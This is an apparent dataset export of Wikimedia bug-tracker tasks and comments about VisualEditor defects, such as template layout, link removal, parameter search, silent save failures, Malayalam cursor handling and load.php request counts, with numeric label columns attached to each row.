+https://bugzilla.wikimedia.org/show_bug.cgi?id=50395",High,80.0,1374266280,1403047655.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-hbtmtpgjefyo637ujihd,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+239329,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","Change 139806 merged by jenkins-bot:
+Remove display:inline-block highlight hacks
+
+https://gerrit.wikimedia.org/r/139806",,,1403047632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239325,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","Change 139806 had a related patch set uploaded by Esanders:
+Remove display:inline-block highlight hacks
+
+https://gerrit.wikimedia.org/r/139806",,,1402916033,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239319,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items","Inline templates are overridden to inline-block, but setting them back to inline would mean we have to calculate the highlights using getClientRects. Might want to wait for the much discussed SVG highlights for this?",,,1402837289,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,True,,,49,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+239313,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items",*** Bug 62800 has been marked as a duplicate of this bug. ***,,,1395169574,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239306,"VisualEditor: Inline templates don't wrap, assume width:100%, so break layout around floated items",*** Bug 52320 has been marked as a duplicate of this bug. ***,,,1394223928,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hbtmtpgjefyo637ujihd,task_subcomment,,True,c1,3,True,,,35,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53679,VisualEditor: unlinking via linking tool triggers weird behaviors,"See http://it.wikipedia.org/wiki/File:Pic_-_VE_-_it_-_18_July_2013.png .
+
+http://it.wikipedia.org/wiki/Tellururo_di_mercurio_e_cadmio
+
+My understanding is that unlinking can be both done by the clear formatting button or by the trash button in the linking tool.
+
+If you don't select exactly the word that you want to unlink (so if you include even just a space, which I guess can surely happen), you'll be able to unlink via the linking tool by clicking on the garbage can: but then, a weird cursor appears and you can no longer edit links or templates. 
+
+According to me and itwp users that happens with both FF and Chrome.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374237180,1380650852.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-lskwjin7vud63rd4ruhi,task_description,declined,True,c1,3,False,False,False,2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+237554,VisualEditor: unlinking via linking tool triggers weird behaviors,"Worksforus, at it.wp. Will re-open if necessary.",,,1380650852,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237551,VisualEditor: unlinking via linking tool triggers weird behaviors,"Switching to Unconfirmed, since I can no longer reproduce this. Will ask other Italian testers if they can, otherwise I'll mark it as Resolved.",,,1380631760,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+237548,VisualEditor: unlinking via linking tool triggers weird behaviors,"Another user reports getting the weird cursor but being still able to work regularly after that (his specs, Firefox on W7 64bit, Monobook).
+I'm looking for the quickest way to produce screencasts for you (Chrome does not seem to have valid plugins for that unfortunately).",,,1375039918,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+237545,VisualEditor: unlinking via linking tool triggers weird behaviors,"Don't even mention it, James :)
+Sorry I can't provide a video today ;)
+but will try to explain more carefully.
+It definitely still occurs, it was just reported (among other things) in
+
+http://it.wikipedia.org/wiki/Rodney .
+
+The clear formatting works fine.
+Properly unlinking a single word works fine.
+In this article, if I just select, say, from ""toponimo"" to ""antica"" and use the linking tool to unlink, I will be able to do it the first time but then I'll get the limited functionalities listed above.
+The same if I just select ""adespota,"" .
+I don't do anything else before or after that.
+It happens with both Monobook and Vector and on en.wp as well, I just tried editing the article ""Penguin"".
+
+Thanks.",,,1374656653,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+237542,VisualEditor: unlinking via linking tool triggers weird behaviors,"I can't reproduce this in either Chrome or Firefox - by drag-selecting the word with the mouse, right-clicking, double-clicking; and by selection with the keyboard or drag-clicking with the mouse to select more than the word, using both the link inspector and its remove (""trash"") icon and the general ""clear formatting"" tool. :-(
+
+Does this occur on every page? What about after a hard-refresh? Can you make a video/screencast of you doing this so I can see exactly how it occurs? Sorry to ask so much!",,,1374644511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lskwjin7vud63rd4ruhi,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+53670,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Two screenshots showing the search function applied to {{cite book}} on en.wp
+
+A user on the English Wikipedia reports that when entering a template using the transclusion editor, the search for parameters fails when the parameter includes a space:
+
+""when I start typing ""Source date"" (without quotes, of course) into the search box, something interesting happens when I get to the ""d"" - the search results say ""Unknown parameter"". That is, at the point where I've typed ""Source d"", then - essentially - the search fails; the search software decides that there are no matching entries.""
+
+I've tested this with both {{cite web}} and {{cite book}}
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51822
+
+**Attached**: {F11265}",High,80.0,1374227460,1377959027.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-y2l4ooxqksxji4wptopd,task_description,resolved,True,c1,3,False,False,True,2,,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+237017,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Will this allow searching on instring matches of both title and label? 
+
+If not, will that be covered by bug 51822 or is a new bug required?",,,1378119303,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0
+237013,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"This is now fixed in master, and will be released to MediaWiki.org on Thursday 5 September, and to Wikipedias on Thursday 12 September. Sorry for the disruption.",,,1377959027,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237007,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Change 82055 merged by jenkins-bot:
+Include param label in search index
+
+https://gerrit.wikimedia.org/r/82055",,,1377910117,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237002,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"Change 82055 had a related patch set uploaded by Trevor Parscal:
+Include param label in search index
+
+https://gerrit.wikimedia.org/r/82055",,,1377901233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236994,VisualEditor: Transclusion dialog parameter filter should search on both parameter name and parameter label,"A user on Wikipedia has determined that the cause is that the data the search function searches on is the internal parameter name, which is invisible to the user, not the visible label. This is very wrong. 
+
+""So VE users have learned that the only way, in the Transclusion/Template dialog, to add a parameter is to type the parameter name, then press Enter. But that just changed - now you click the parameter name to select it. That's more obvious - but if, for some reason, having learned the old way, you continue to use it - that's trouble.
+
+Example: Cite web. Let's suppose I want to add the parameter ""Month of publication"". I type that, hit Enter, and there it is, on the left. Except, not really. VE thinks this is a parameter not on its list - you can tell that because there is no description just above the input box where you enter the value of that parameter. (Compare to entering a value for the parameter ""Source title"").
+
+Under the hood, here's what happens: VE knows that ""Source title"" is the label (via TemplateData) for the parameter ""title"". (Similarly, ""URL"" is the label for the parameter ""url"" - and yes, parameters are case sensitive.) But VE doesn't know that ""Month of publication"" (typed) is the label for the parameter ""month"". So the template code that VE actually stores is this:
+
+    {{Cite web|url = http://example.com|title = Whatever the title is|Month of publication = June}}
+
+That doesn't cause a visible problem on the VE edit page. However, in this case, after saving the page, what is displayed to readers is ""Unknown parameter |Month of publication= ignored (help) ""
+
+Recommendation: If a person types the name of a parameter and presses Enter, VE should check the typed name against the list of labels in TemplateData, for that template, and if there is a match, handle the new parameter just as if the person had clicked the matching parameter rather than typed it.""",,,1374423427,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-y2l4ooxqksxji4wptopd,task_subcomment,,True,c1,3,False,,,2,,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+53636,VisualEditor: Saving fails silently when the database is locked,"**Author:** `kwang`
+
+**Description:**
+This shows the article and the visual editor save dialog
+
+I added a link to a new page but it wouldn't let me save my edit. Every time I saved it would load but then display the save page dialog again.
+
+I ended up creating the link in the source.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53093
+
+**Attached**: {F11178}",High,80.0,1374179880,1374676801.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7rwifffi3m7nv3vjbxms,task_description,resolved,True,c1,3,False,False,True,2,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+235136,VisualEditor: Saving fails silently when the database is locked,Fixed and will get deployed in a few minutes' time.,,,1374676801,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+235128,VisualEditor: Saving fails silently when the database is locked,"Change 75561 merged by jenkins-bot:
+Show error when trying to save in read-only mode
+
+https://gerrit.wikimedia.org/r/75561",,,1374676554,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+235121,VisualEditor: Saving fails silently when the database is locked,"Change 75561 had a related patch set uploaded by Esanders:
+Show when trying to save in read-only mode
+
+https://gerrit.wikimedia.org/r/75561",,,1374658384,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+235115,VisualEditor: Saving fails silently when the database is locked,"Two other users have reported the same thing on en.wikipedia, so the cause was the database being locked.
+
+Could be related to Bug 50472 which is marked as fixed but has apparently not yet been deployed?",,,1374182584,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+235109,VisualEditor: Saving fails silently when the database is locked,"**kwang** wrote:
+
+error while editing source code.
+
+**Attached**: {F11179}",,,1374180001,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+235103,VisualEditor: Saving fails silently when the database is locked,"**kwang** wrote:
+
+More details: when I edited the source it said that the database was locked. This is likely the issue that was happening, but the error wasn't showing up in the visual editor.",,,1374179974,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7rwifffi3m7nv3vjbxms,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+53596,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Browser: Chrome any version.
+
+1. Open VE
+2. Type or copy-paste സന്തോഷ്
+3. Move the cursor to the end of that word.
+4. Press left arrow to move the caret backwards.
+5. In the second keypress onwards cursor is stuck.(like സന്തോ|ഷ് )
+
+Expected: cursor keep moving to left. 
+
+Observed. cursor stuck.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374128220,1385506972.0,PHID-USER-m2yck6646cdt5t6zkta4,False,,False,PHID-TASK-p5bbvutzsk36zk6seh2n,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+233027,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Change 80689 merged by jenkins-bot:
+Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1385506388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233021,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Change 80689 had a related patch set uploaded by Divec:
+DONTMERGE:Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1384946968,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233015,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.,,,1381269307,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+233007,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"There's code to address this bug in the following patch, which is due to go live on mediawiki.org by 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+It does not fix this completely, but it does make it possible to cursor left through the cluster with repeated consecutive keypresses.",,,1378943326,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,10,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+233001,VisualEditor: Cannot move cursor backwards on ligature cluster on Chrome,"Debug Information:
+
+Grapheme breaks as per unicodejs:
+0: ""സ""
+1: ""ന്""
+2: ""തോ""
+3: ""ഷ്""
+
+Ligature break 1 and 2 logically wrong because they form a single cluster ന്തോ. You cannot place a cursor in between this cluster. It is a single syllable too. Firefox allows you to place the cursor at all of these breaks anyway. Infact Firefox allows you to place the cursor even inside ligature programatically. Chrome allows cursor positioning only at logical positions.
+
+In this specific case. VE is asking Chrome to place the cursor at end of  grapheme break #1(ന്). but Chrome does not obey it and place it at the end of #2 (തോ). This repeats in every left cursor movement and it looks like cursor is stuck at the end of തോ.
+
+In my quick observation those logical positions does not match with the grapheme cluster boundary specification of Unicode (www.unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries).
+
+That causes lot of inconstancy in the offset known to the data model of VE and the actual offset appearing in browser. It will lead to many unexpected behavior of cursor positioning and text selections.",,,1374128971,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-p5bbvutzsk36zk6seh2n,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+53569,Reduce number of load.php calls on VisualEditor open (down from 3),"On a regular page load:
+
+* http://en.wikipedia.org/wiki/Roadblock_(disambiguation)
+* Logged-out (Chromium Incognito mode)
+
+We get this (did a full analysis while I had the data in front of me, but focus on ""On Edit"":
+
+Top:
+ - [core]   load.php?modules=startup
+ - [misc]   load.php?modules=.. top queue ...
+ - [vector] load.php?modules=ext.vector.footerCleanup (bug 51564)
+ * [ve]     load.php?modules=ext.visualEditor.viewPageTarget.init
+ - [core]   load.php?modules=site
+
+Bottom:
+ - [misc]   load.php?modules=.. bottom queue ...
+ - [vector] load.php?modules=ext.vector.collapsibleNav (bug 51564)
+ - [misc]   load.php?modules=.. jquery.ui ...
+    (dependency of something in the bottom queue, separate cache group)
+
+On Edit:
+ * [ve]     load.php?modules=ext.visualEditor.base,mediawiki,viewPageTarget|jquery.visibleText|oojs|unicodejs.wordbreak
+ * [ve]     load.php?modules=jquery.byteLength,byteLimit|mediawiki.api.edit|mediawiki.feedback|ext.visualEditor.core,icons-vector|ext.visualEditor.viewPageTarget.icons-vector|rangy
+ * [ve]     load.php?modules=ext.visualEditor.specialMessages
+ - [ve]     api.php POST action=visualeditor & paction=parse
+ - [ve]     api.php?action=query&meta=userinfo
+
+These shouldn't be 3 separate load.php requests. Ideally it'd be 1, but we should at least cut it down to 2. We should figure out why they are split.",High,80.0,1374089160,1426388649.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_description,resolved,True,c1,3,True,False,False,2,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,1,1
+427961,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 197402 merged by jenkins-bot:
+Load RL modules in one load.php request, rather than in two stages
+
+[[https://gerrit.wikimedia.org/r/197402]]",,,1426626118,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+427918,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 197402 had a related patch set uploaded (by Jforrester):
+Load RL modules in one load.php request, rather than in two stages
+
+[[https://gerrit.wikimedia.org/r/197402]]
